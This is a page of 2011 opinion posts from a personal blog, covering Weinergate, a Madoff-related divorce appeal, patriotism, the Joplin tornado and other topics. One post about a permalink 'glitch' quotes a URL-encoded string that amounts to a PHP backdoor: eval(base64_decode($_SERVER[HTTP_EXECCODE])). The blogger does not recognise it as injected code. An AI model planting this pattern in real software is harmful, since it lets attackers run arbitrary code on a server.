More on not caring about Weinergate: morality in private and public life

The New Neo Posted on by

To expand a bit on just why I don’t care about Weinergate at this point: the alleged offense is in the realm of a minor peccadillo, distasteful and stupid, but only of real interest to Weiner’s wife, family, and friends.

Others may disagree, which raises the interesting question of whether, as some commenters have indicated, private morality and public morality are inextricably linked. I’ve thought about this question many times before, most particularly during the Clinton impeachment, and my answer is “sometimes yes, sometimes no.” If you think that’s a squishy answer, tough; I think it’s a realistic answer based on careful observation of human beings.

Would I think more highly of Weiner if he turned out to be guilty of sending a crotch picture to some young woman in Seattle? Of course not. I would say I would think less highly of him if in fact I had ever previously thought of him at all. But I hadn’t ever heard of him until he was thrust (to coin a phrase) into the glare of notoriety by this incident.

But people do compartmentalize their behavior all the time, acting very differently in the different roles they play in life. Ever heard of people, for example, who are angry and nasty and even cruel at home but pleasant and decent to everyone they meet in public life? Or dishonest at work but honest in private? Or vice versa? I have.

Of course, in many cases dishonesty and smarminess is general, and people’s behavior is congruent in all the different situations they encounter. I also think that dishonesty and smarminess are endemic in the lives of political figures. That’s not to say that there are no honest men—and women—in politics. But really honest people don’t tend to be drawn to that profession, and if they are, I’m not sure how long they tend to stay that way; the opportunities to be compromised are legion and the temptations great.

Which category Weiner fits into I do not know. But even if guilty of the offense, that act is nothing like a rape or sexual harassment of an employee (and yes, I would feel that way no matter what his political persuasion). What I am far more concerned about is his behavior in his role as a public servant. And yes, sometimes a person’s behavior can be fair in one arena and foul in the other.

But sorry, I just can’t get riled up about sifting through all the intricacies of how to post photos on Twitter in order to decide whether he’s guilty or not. If I were in his district, I wouldn’t have voted for Weiner previously, and I wouldn’t vote for him now. And yes, of course the media is acting hypocritically here; if he were a Republican, they’d be out for blood. So, what else is new?

Glitch in the comments and permalinks

The New Neo Posted on by

[UPDATE 5/31/11 at 11:50 PM: The glitch has been corrected, so the problem should have disappeared. It took quite a bit of doing!]

[NOTE: This post has been bumped up for greater visibility. New posts can be found below.]

I will try to fix this ASAP. But I just noticed that there’s a glitch if you click on the comments tabs or the permalinks here. For some reason a long string of extra stuff has been added to the URLs, and when you click on either the comments tab or the permalink for each post, you get a message that reads:

400 Bad Request—Invalid request.

For example, if you click on the comments tab for the top post on May 30, 2011, and then look at the address bar, it will say:

http://neoneocon.com/2011/05/30/for-memorial-day-on-nationalism-and-patriotism/%&%28%7B$%7Beval%28base64_decode%28$_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D|.+%29&%/#comments.

This of course is incorrect. But if you delete everything between the slash after the last word of the title of the post (in this case it would be patriotism/) and the phrase at the end (#comments) you will get the following, and it should take you to the right place:

http://neoneocon.com/2011/05/30/for-memorial-day-on-nationalism-and-patriotism/#comments

That means you would have deleted the following:

%&%28%7B$%7Beval%28base64_decode%28$_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D|.+%29&%/

It’s not that hard to do, but it’s still a pain in the neck. But as I said, I’ll be working on fixing it.

[UPDATE 5/31/11 1:10 PM: Still working on it. It’s a bit complicated and might not be resolved for a day or so, so please bear with me till then and work around it by following the above instructions. Sorry for the problem, but it almost certainly will be fixed pretty soon. I will keep you updated.]

Simkin v Blank: when is a property settlement not final?

The New Neo Posted on by

The decision of the New York appellate court in the post-divorce lawsuit of Steven Simkin and Laura Blank is a lulu.

The well-heeled couple were married thirty-three years and divorced in 2006, with a property settlement that involved a complex series of transactions, juggling several properties, autos, accounts, and cash. One of the assets the couple valued at about 5.4 million dollars at the time was an account with Bernard Madoff, although that only constituted a little less than a third of their estate.

We all know how the Madoff investment turned out. But at the time it seemed like a good deal. Now the ex-husband, who retained the major portion of the Madoff account in exchange for the wife giving up certain other things, has sued to recoup some of the assets she got in the divorce as part of the deal because he says that no such account ever existed (it was a “mutual mistake”). The majority of the court agreed with him in a close 3-2 decision.

That went against the time-honored ruling that property settlements in divorce are final (custody and child support arrangements, on the other hand, can be re-opened by either party as long as the child is a minor and there are changed circumstances). Financial investments are inherently risky, and the only relevant value they have is the value at the time of the settlement, not what happens afterward, whether bad or good. The decision also has the potential for “destabilizing all types of contracts struck with the fraud victims,” not a good idea either.

The ruling in Simkin v Blank is not a man vs. woman thing; the results would be the same if the sexes were reversed, and the results would be equally stupid. You can read the entire judgment here if you like. I’m impressed with the well-reasoned dissent, which states, among other things:

Instead of enforcing the plain language of the agreement between the parties, the majority relies on the doctrine of “mutual mistake” to rewrite it. However, even if one accepts that mutual mistake is the appropriate analysis, the complaint fails. It fails first because the alleged mutual mistake does not involve a fundamental assumption of the contract. It further fails because the alleged mistake did not exist at the time the parties entered into their agreement. Moreover, the majority’s approach undermines decades of established precedent favoring finality in divorce cases. Thus, the conclusion the majority reaches, not only fails to follow precedent, but is truly “divorced” from reality…

Under the settled doctrine of mutual mistake, the alleged mistake must exist at the time the parties executed their agreement…The amended complaint repeatedly identifies the mistake to be that the parties thought they had an investment account [with Madoff] worth $5.4 million, when it was actually nonexistent. However, this allegation clearly conflicts with the allegation in the amended complaint that Steven withdrew actual money from this “nonexistent” account at the same time in 2006 to pay Laura. Thus, even looking at the amended complaint in isolation (i.e., without the agreement), plaintiff has failed to plead a mutual mistake that existed at the time the parties entered into their contract…Because Steven received significant value in exchange for the payment of $6.25 million to Laura, his retention of the Madoff account and subsequent losses render this case no different than the legion of cases denying a spouse’s request to open up a divorce settlement where the final value of an asset was not what the parties believed at the time of the divorce…

They say hard cases make bad law. I’m not completely certain this is a hard case, but if the appellate ruling were to stand, it would certainly be a bad law.

Weinergate fatigue

The New Neo Posted on by

You may have noticed the enormous blogosphere brouhaha known as Weinergate (see also this).

Or then again—if you’re lucky and have a life—maybe you haven’t. But as a blogger, it’s my sworn duty to pay attention to these things.

And yet I find I can’t. Simply put, I just don’t care about Weinergate.

I don’t care if Weiner is having an affair with someone and sent her a photo of his clothed genitalia. And I don’t much care if he’s hasn’t done either of these things, and he’s been hacked and attacked on Twitter.

I’m sure Weiner cares, and I’m sure his wife cares. But the only thing that is of moderate interest to me is the fact that a significant portion of the right side of the blogosphere is so firmly convinced that Weiner (a man of the liberal persuasion) is at fault here that almost no amount of proof could convince them otherwise. And I am just as firmly convinced that, if the parties were reversed, it would be the left side of the blogosphere doing the same thing, and that it would be an even bigger story in the MSM.

And I’m also moderately certain that part of the attraction to the story is the Congressman’s last name, plus the fact that the whole thing occurred on Twitter, a word that seems to bring to mind a combination of “titter,” “twit,” and “titillate.”

I am also aware that politicians are unusually susceptible to the seductions of seduction coupled with power. But I have come to the point of not caring, unless (and the following list is not necessarily all-inclusive, but it’s all I can think of at the moment) (a) the act involved is with an employee and constitutes some sort of abuse of power; and/or (b) it is accompanied by coercion or violence, as with the allegations about Strauss-Kahn (remember him?); and/or (c) the recipient of the attentions is underage; and/or (d) the perpetrator is a crusader against the acts in question (especially if such acts are illegal), such as Eliot Spitzer using call girls.

A parenthetical note: before mentioning Weiner’s wife, I checked to make sure that he was in fact married. Sure enough, he is: his spouse Huma Abedin is an aide to Hillary Clinton.

I had a dim memory of reading about this person earlier and sure enough, when I checked, I found that there had been a moderate and essentially stupid flurry in the anti-Hillary blogosphere some time back, featuring allegations that Huma and Hillary were having a lesbian affair (here’s a much more positive article about Huma that gives some background on her life but doesn’t mention the rumors).

When Huma and Weiner were married back in July of 2010, that pretty much put in end to the whispering campaign. Officiating at the ceremony was none other than Bill Clinton. Make of that what you will, but the Yeshiva World had some fun with it, giving their coverage the headline, “Christian President Marries Jewish Congressman to Moslem Political Aide on Shabbos.”

The NY Daily News quoted Weiner on the subject of his wedding and the end of his status as a single man:

Weiner, a longtime bachelor linked to several local beauties, said last week that he’s ready to leave his single days behind.

“I’m over the moon,” he said.

And why wouldn’t he be? Here they are on their wedding day:

weinerhuma.jpg

For Memorial Day: on nationalism and patriotism

The New Neo Posted on by

The story “The Man Without a Country” used to be standard reading matter for seventh graders. In fact, it was the first “real” book—as opposed to those tedious Dick and Jane readers—that I ever was assigned to read in school. As such it was exciting, since it dealt with an actual story with some actual drama to it. It struck me as terribly sad—and unfair, too—that Philip Nolan was forced to wander the world, exiled, for one moment of cursing the United States. “The Man Without a Country” was the sort of paean to patriotism that I would guess is rarely or never assigned nowadays to students.

Patriotism has gotten a very bad name during the last few decades. I think part of this feeling began (at least in this country), like so many things, with the Vietnam era. But patriotism and nationalism seem to have been rejected by a large segment of Europeans even earlier, as a result of the devastation both sentiments were seen to have wrought during WWI and WWII. Of course, WWII in Europe was a result mainly of German nationalism run amok, but it seemed to have given nationalism as a whole a very bad name.

Here’s author Thomas Mann on the subject, writing in 1947 in the introduction to the American edition of Herman Hesse’s Demian:

If today, when national individualism lies dying, when no single problem can any longer be solved from a purely national point of view, when everything connected with the “fatherland” has become stifling provincialism and no spirit that does not represent the European tradition as a whole any longer merits consideration…

A strong statement of the post-WWII idea of nationalism as a dangerous force, mercifully dead or dying, to be replaced (hopefully) by a pan-national (or, rather, anational) Europeanism. Mann was a German exile from his own country, who had learned to his bitter regret the excesses to which unbridled and amoral nationalism can lead. His was an understandable and common response, one that helped lead to the formation of the EU. The nationalism of the US is seen by those who agree with him as a relic of those dangerous days of nationalism gone mad without any curb of morality or consideration for others.

But the pendulum is swinging back. The US is not Nazi Germany, however much the far left may try to make that analogy. And, in fact, that is one of the reasons they try so hard to make that particular analogy—because Nazi Germany was one of the very best examples of the dangers of unbridled and amoral nationalism.

But, on this Memorial Day, I want to say there’s a place for nationalism, and for love of country. Not a nationalism that ignores morality, but one that embraces it and strives for it, keeping in mind that—human nature being what it is—no nation on earth can be perfect or anywhere near perfect. The US is far from perfect, but it is a good country nevertheless, striving to be better.

So, I’ll echo the verse that figured so prominently in “The Man Without a Country,” and say (corny, but true): …this is my own, my native land. And I’ll also echo Francis Scott Key and add: …the star-spangled banner, O long may it wave, O’er the land of the free and the home of the brave.

[NOTE: This is a slightly edited version of an older post.]

Orphans of the storm

The New Neo Posted on by

The devastating tornado in Joplin was especially devastating for a number of children who have been orphaned by it.

The term “orphan” seems almost like an anachronism, something that was far more common in the past. And yet children are still orphaned, and when it happens it’s one of the most dreadful experiences a child can have:

“The trauma is deep. The wound is deep. Being orphaned is what we call a forever loss,” Dr. Jane Aronson, Chief Executive of Worldwide Orphans Foundation, said on Friday.

In the case of the Joplin orphans, relatives and others have stepped up to try as best they can to carry on for the parents who have died. Two who are described in the article are a 21-year-old sister who has taken on her younger siblings as her responsibility, and an ex-husband who is not the father of the surviving child but who is caring for him anyway.

It will be quite a task, although not an impossible one. Here’s the child, five-year old Garrett LeClere, speaking:

“I feel sorry for my parents,” he said. “They wasted their lives saving me.”

There was room enough in the family bathtub for only Garrett and his sister to weather the storm in Phil Campbell. The boy remembers the tub spinning and being lifted before he landed hard 200 yards from his leveled home.

“I heard myself scream really loud. The hurt was really painful,” he said.

I believe that no such sacrifices are wasted. And I hope Garrett will grow up to feel that way about his parents, too.

There’s no better way to see DC…

The New Neo Posted on by

…than on the back of a Harley, says Sarah Palin.

Not your typical political statement. But then, Palin’s not your typical politician.

I’m not so sure I agree with her—but then, I’ve never seen DC on the back of a Harley, so I wouldn’t really know. But I did have my very brief on-the-back-of-a-motorcycle days, courtesy of a boyfriend who was somewhat of a Wild One:

Americans in poll overestimate the number of gay people

The New Neo Posted on by

Gallup reports that a recent survey of Americans indicate that a majority (52%) believe that between 20% and 25% of the population is gay/lesbian, the average estimate being 25%. What’s more, a sizable number of additional respondents (26%) think that between 10% and 20% of the population is gay.

Although the true number of gay people in the US remains unknown, most data-driven estimates give a percentage that is under 5%. You’d never know it from the poll; only 4% of respondents made an estimate in that ballpark.

The highest estimates in the Gallup poll were given by various groups: young people, the less educated, Democrats, liberals, women. But it’s just a matter of degree. Those who were rich, well-educated, older, Republicans, conservatives, or male gave very high estimates as well. No single group estimated the number as under 15%, and most of the groups were in the 20s.

What is going on here? I can think of a number of possibilities, not necessarily mutually exclusive:

—people are stupid

—people are ignorant

—the media and entertainment focus on gay issues has led people to believe there are far more gays than actually exist

—the people are correct and the scientists are wrong

—the people are using a more elastic definition of gay than researchers have, perhaps one that includes those who have participated in even a single gay act

[NOTE: It is interesting that much the same survey was conducted in 2002 and the results were not all that different. The estimates were slightly lower, and more people said they didn’t know, but the variation between than and now was not all that great: the average guess was between 21% and 22%, and a quarter of respondents thought the figure was 25%.]

The arc of political change: David Mamet, Whittaker Chambers, Ronald Reagan

The New Neo Posted on by

Today the WSJ‘s Bari Weiss tackles playwright David Mamet’s political conversion from left to right . It’s an old story to readers of this blog, not just because such political conversions are a theme here, but because I’ve written before about Mamet’s change experience.

But a couple of new things struck me in the WSJ essay. The first was the fact that Mamet doesn’t appear to have been too badly ostracized by the Hollywood crowd (at least, not yet—or perhaps they need to stay in his good graces to get the chance to work with him):

When I [Weiss] meet the apostate [Mamet] in a loft in Manhattan’s Greenwich Village, he’s wrapping up a production meeting. “Bye, bye, Bette!” he calls to the actress walking toward the elevator. That’d be Bette Midler. Al Pacino gets a bear hug. The two are starring in an upcoming HBO film about Phil Spector’s murder trial.

The second was the following observation by Ms. Weiss:

[Mamet] starts, naturally, with the most famous political convert in modern American history: Whittaker Chambers, whose 1952 book, “Witness,” documented his turn from Communism.

I admire Chambers’s book; I’ve recommended it on my right sidebar, in one of my Amazon widgets. I’ve read a goodly portion of it—which takes some doing since, although it’s fascinating, it’s a very lengthy tome.

But I’ve got to say that Chambers, once a household word, may not have such great name recognition at this point in time, except with history buffs, changers, and conservatives. And a sizable percentage of those who vaguely think they know who he is and what he did are probably getting him confused with Alger Hiss, the man he accused of being a Communist and who reacted by suing him for defamation in a notorious trial of the late 1940s.

I would argue that there has a been a far more famous American political changer since: none other than Ronald Reagan. Perhaps Ms. Weiss omitted him because it may not be all that well-known that he was a changer. But he was. The parallels to Mamet are actually more apt than to Chambers, because when he underwent his change, Reagan was in Hollywood (he’d even started out as a union guy):

When [Reagan] got to Hollywood as a young man in his twenties, he shared and was impressed by the general thinking of the good and sophisticated people of New York and Hollywood with regard to politics. He was a liberal Democrat, as his father was, and he felt a great attachment to the party. He was proud that his birth of a nation father had refused to take him and his brother Moon to the movie, Birth of a Nation, with its racial stereotypes. And he bragged that his father, Jack, a salesman, had, back long ago when Reagan was a kid, once spent the night in his car rather than sleep in a hotel that wouldn’t take Jews. Ronald Reagan as a young man was a Roosevelt supporter, he was all for FDR, and when he took part in his first presidential campaign he made speeches for Harry Truman in 1948.

When Reagan changed, it was against the tide. It might be said that the heyday of modern political liberalism, in its American manifestation, was the 1960s, when the Great Society began and the Kennedys were secular saints and the costs of enforced liberalism were not yet apparent. And that is precisely when Reagan came down hard right, all for Goldwater in 1964. This was very much the wrong side of the fashionable argument to be on; it wasn’t a way to gain friends in influential quarters, it wasn’t exactly a career-enhancing move. But Reagan thought the conservatives were right. So he joined them, at the least advantageous moment, the whole country going this way on a twenty-year experiment, and Reagan going that way, thinking he was right and thinking that sooner or later he and the country were going to meet in a historic rendezvous.

Far more historic, actually, than Chambers’s earlier notoriety.

But Chambers is not just a bit player in the story, because we learn that his book Witness had actually been highly influential in Reagan’s political change:

In 1952, Chambers’s book Witness was published to widespread acclaim. The book was a combination of autobiography and a warning about the dangers of Communism. Arthur Schlesinger, Jr. called it one of the greatest of all American autobiographies, and Ronald Reagan credited the book as the inspiration behind his conversion from a New Deal Democrat to a conservative Republican.

In the (symbolic?) year of 1984, Reagan rewarded Chambers by honoring him with a posthumous Medal of Freedom, the nation’s highest civilian award.

Change, it’s catching.

Zuckerberg and eating what you kill

The New Neo Posted on by

The news that 27-year-old Facebook founder and gazzillionaire Mark Zuckerberg has announced that he’ll only eat meat he personally kills has been food (pun intended) for jokes and puzzlement.

He’s been guided in his efforts by a Silicon Valley chef and neighbor of his with the improbable name of Jesse Cool:

Cool has introduced Zuckerberg to nearby farmers and advised him as he killed his first chicken, pig, and goat. “He cut the throat of the goat with a knife, which is the most kind way to do it,” says Cool.

So my first impression, which was that Zuckerberg had taken up hunting or at least raising his own animals for slaughter, is incorrect. It seems he merely administers the coup de grace, coming in at the last moment for the kill (literally).

This may seem like contrived showboating, but it’s actually a step up from those of us (myself most definitely included) who get our meat in packages at the supermarket and avoid all the messy stuff. I bet you’ve got some opinions about it all, especially those of you who hunt.

Those top ten beaches

The New Neo Posted on by

In my continuing effort to get into a summer holiday mood this weekend, I am posting a link to Dr. Beach’s list of top ten sandy ocean spots. It’s heavy on the Hawaiian venues, but it also includes one in Cape Cod and another on Long Island that I think I’ve been to in the past.

It doesn’t surprise me that Hawaii would trump New England. I’ve never been to the former, alas, although I’ve heard enough about it to think I really ought to go some day. But I’m very familiar with the beaches in New England. They are beautiful and plentiful, and some of them are even places where you might want to get into the water and swim—if you’re exceptionally hardy, that is, and from Canada.

That’s a bit of an exaggeration, of course. Southern (or at least southernish) New England—Block Island in Rhode Island, for example, and parts of Cape Cod—are swimmable in the summer. New Hampshire is sort of on the cusp. But Maine, even the southern part, is not a place for the weak or faint of heart. The water is cold, and suited only to very young and very active local children, who seem impervious to such things, and the aforementioned Canadians, who swarm there in great numbers. To them, these are tropical waters.

When my son was about four years old, a friend of mine came to visit from New York City with her four-year-old. It was summer and it was hot—really really really hot, over 100 degrees. What better place could there be to go than the beach? Unfortunately, the wind must have been blowing the wrong way, because it was just as hot there as it was inland, and you couldn’t step on the sand without footwear or you risked instant burns.

But it was early in the season and the water was still so cold it was almost unendurable—even if you merely dunked your toes in, it was instant freeze-up. My friend’s four-year-old daughter began wailing.

“It’s too hot and then it’s too cold!” she shrieked. “I want to go home!” It was difficult to argue with that; the kid had a point, and we bailed pretty quickly.

It occurs to me that this post might be construed as meant to discourage New England tourism. Hardly. It’s one of the most beautiful, charming, historical areas of the United States. But don’t come expecting to swim in its oceans in June. Unless you’re from Labrador, stick to the lighthouses.